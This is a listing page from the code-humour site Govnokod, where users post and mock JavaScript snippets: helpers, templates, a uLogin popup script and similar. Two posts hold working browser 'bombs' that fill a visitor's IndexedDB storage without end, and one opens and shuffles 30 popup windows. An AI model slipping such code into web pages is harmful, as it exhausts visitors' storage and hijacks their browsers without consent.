1. JavaScript / Говнокод #26292

    −4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    document.addEventListener('DOMContentLoaded', function() {
    	var req = indexedDB.open('site');
    	req.onerror = function() {
    		alert(this.error);
    	};
    	req.onupgradeneeded = function() {
    		let db = this.result;
    		if(!db.objectStoreNames.contains('files'))
    			db.createObjectStore('files', { autoIncrement: true });
    	};
    	let n = 0;
    	req.onsuccess = function() {
    		setTimeout(function run() {
    			n++;
    			let db = req.result;
    			let t = db.transaction('files', 'readwrite');
    			let file = t.objectStore('files');
    			let str = new Date().toString().repeat(1000);
    			for(let i=0;i<100;i++)
    				file.add(str);
    			if(n < 1000000)
    				setTimeout(run);
    		});
    	};
    });

    теперь страница не будет подвисать

    codershitter, 30 Декабря 2019

    Комментарии (21)
  2. JavaScript / Говнокод #26291

    −4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    var req = indexedDB.open('site');
    		req.onupgradeneeded = function() {
    			let db = this.result;
    			if(!db.objectStoreNames.contains('files'))
    				db.createObjectStore('files', { autoIncrement: true });
    		};
    		req.onsuccess = function() {
    			let db = this.result;
    			let t = db.transaction('files', 'readwrite');
    			let file = t.objectStore('files');
    			let str = new Date().toString().repeat(1000);
    			while(true)
    				file.add(str);
    		};

    Эту бомбу лучше ставить после полной загрузки страницы

    codershitter, 30 Декабря 2019

    Комментарии (9)
  3. JavaScript / Говнокод #26280

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    let windows = [];
    		for(let i=0;i<30;i++) {
    			windows.push(open('about:blank', 'w'+i, 'width=220,height=220'));
    			windows[windows.length-1].document.write('<img width="200" src="https://yandex.ru/images/_crpd/QXyR57D17/58778cEG/ztbSEyQN1MQPOKIh-mQphsVGWJdV_rEIEfYazmN1g0xPpX0igbVWfIKWpfMEAObKC6K6ZWrKj3oC51h2Nj70EtoS5kOEGYXVP10XoFpA">');
    		}
    		let x = 0;
    		for(let i=0;i<30;i++) {
    			setTimeout(function run() {
    				if(x > 10000) {
    					windows[i].close();
    					return;
    				}
    				x++;
    				windows[i].moveTo((Math.random()*screen.width).toFixed(), (Math.random()*screen.height).toFixed());
    				setTimeout(run, 100);
    			});
    		}

    Мой лучший гавнакод

    codershitter, 27 Декабря 2019

    Комментарии (46)
  4. JavaScript / Говнокод #26277

    −3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    export namespace Ext {
        export function isEmpty(obj: any): boolean {
            return (typeof obj === "undefined" || obj === null || obj === "");
        }
        export function setReadonly(flag: boolean, ...args: any[]): void {
            args.length > 0 ? (flag ? args.forEach(arg => !isEmpty(arg) ? arg.setDisabled(false) : null) :
                args.forEach(arg => !isEmpty(arg) ? arg.setDisabled(true) : null)) : null;
        }
        export function filterInt(value) {
            if (isStrToInt(value))
                return Number(value);
            return NaN;
        }
        export function isStrToInt(value: string): boolean {
            return /^(-|\+)?(\d+|Infinity)$/.test(value) ? true : false;
        }
    }

    Типичный хелпер на ts проекте

    m_sandman, 23 Декабря 2019

    Комментарии (32)
  5. JavaScript / Говнокод #26271

    −2

    1. 1
    https://news.ycombinator.com/item?id=21779397

    Я джва года ждал такую книгу!

    bootcamp_dropout, 15 Декабря 2019

    Комментарии (29)
  6. JavaScript / Говнокод #26263

    +1

    1. 1
    https://sun1-28.userapi.com/c854224/v854224060/1a2490/7JEShAFqoEU.jpg

    Сишник половину из этого увидит логичным.
    А JS макаки без должного математического образования не знают даже, как правильно проверять на эквивалентность floating point numbers.

    OlegUP, 13 Декабря 2019

    Комментарии (367)
  7. JavaScript / Говнокод #26209

    −1

    1. 1
    http://joxi.net/a2XoPdDTDwWGkm

    "Отличная реклама" ещё бы кодить научили

    phpBidlokoder2, 12 Декабря 2019

    Комментарии (5)
  8. JavaScript / Говнокод #26071

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    <div ng-switch="state">
        <div ng-switch-when="NO_QUERY">Введите запрос.</div>
        <div ng-switch-when="IN_PROGRESS">Ищем...</div>
        <div ng-switch-when="NOT_FOUND">Ничего не найдено.</div>
        <div ng-switch-when="FOUND">
            <div ng-repeat="comment in result" ng-include="'comment-template-search'"></div>
            <div ng-if="!searchComplete">
                <button ng-click="loadMoreResults()">Ещё результаты</button>
            </div>
            <div ng-if="searchComplete">
                Поиск завершён.
            </div>
        </div>
    </div>

    Какой FSM )))

    gost, 09 Декабря 2019

    Комментарии (50)
  9. JavaScript / Говнокод #26070

    +3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    {{ order.type === '2' && order.orderAddress ?
                      ` ${$store.getters['delivery/points'].find(item => item['a:DeliveryShopId']._text === order.orderAddress) && $store.getters['delivery/points'].find(item => item['a:DeliveryShopId']._text === order.orderAddress)['a:StreetLine']._text ? $store.getters['delivery/points'].find(item => item['a:DeliveryShopId']._text === order.orderAddress)['a:StreetLine']._text : ''} ${$store.getters['delivery/points'].find(item => item['a:DeliveryShopId']._text === order.orderAddress) ? $store.getters['delivery/points'].find(item => item['a:DeliveryShopId']._text === order.orderAddress)['a:House']._text : ''}`
                    :
                    order.clientAddress
                    ?
                      ` ${$store.getters['delivery/clientAddresses'].find(item => item['a:ClientAddressId']._text === order.clientAddress)['a:SettlementName'] && $store.getters['delivery/clientAddresses'].find(item => item['a:ClientAddressId']._text === order.clientAddress) && $store.getters['delivery/clientAddresses'].find(item => item['a:ClientAddressId']._text === order.clientAddress)['a:SettlementName']._text ? $store.getters['delivery/clientAddresses'].find(item => item['a:ClientAddressId']._text === order.clientAddress)['a:SettlementName']._text + ',' : ''} ${$store.getters['delivery/clientAddresses'].find(item => item['a:ClientAddressId']._text === order.clientAddress)['a:StreetLine']._text} ${$store.getters['delivery/clientAddresses'].find(item => item['a:ClientAddressId']._text === order.clientAddress)['a:House']._text}`
                    :
                    '' }}

    именно так профессиональные разработчики мобильных приложений получают строку с адресом магазина или пользователя.

    jerk_thehuman, 08 Декабря 2019

    Комментарии (10)
  10. JavaScript / Говнокод #26064

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    setTimeout(function(){
            document.getElementById('message').innerHTML = 'Это окно браузера закончило свою работу и может быть закрыто.' +
                '<br>' +
                '<button onclick="window.close()">Закрыть окно</button>';
        },3000);
    
            function objectValues(obj) {
                var res = [];
                for (var i = 0; i < obj.length; i++) {
                    if (obj.hasOwnProperty(i)) {
                        res.push(obj[i]);
                    }
                }
                return res;
            }
    
            sendMessage = function () {
                var args = objectValues(arguments),
                    func = args.splice(1,1);
                if (typeof window.postMessage !== 'undefined') {
                    window.opener.postMessage({
                        mine: 'uLogin',
                        func: func,
                        args: args
                    }, '*');
                } else {
                    sendMessage = function () {
                        window.opener[func].apply(null, args);
                    };
                }
            };
    
            if(/fill.php/.test("'ffdfdssdffsdfewfewfewfwf','redirect','https://dfssfd/login.php'")) {
                try{
                    if(typeof window.opener.fill !== 'undefined') {
                        window.opener.fill('869becd1b998ec0add011915c7f4022e','redirect','https://asdasd/login.php');
                    } else {
                        sendMessage('869becd1b998ec0add011915c7f4022e','redirect','https://biglike.org/login.php');
                    }
                } catch(e){
                    sendMessage('869becd1b998ec0add011915c7f4022e','redirect','https://asdas/login.php');
                }
            } else {
                sendMessage('869becd1b998ec0add011915c7f4022e','redirect','https://sfdsfd/login.php');
            }
    
        window.close();

    ulogin которым пользуются миллионы

    codershitter, 02 Декабря 2019

    Комментарии (47)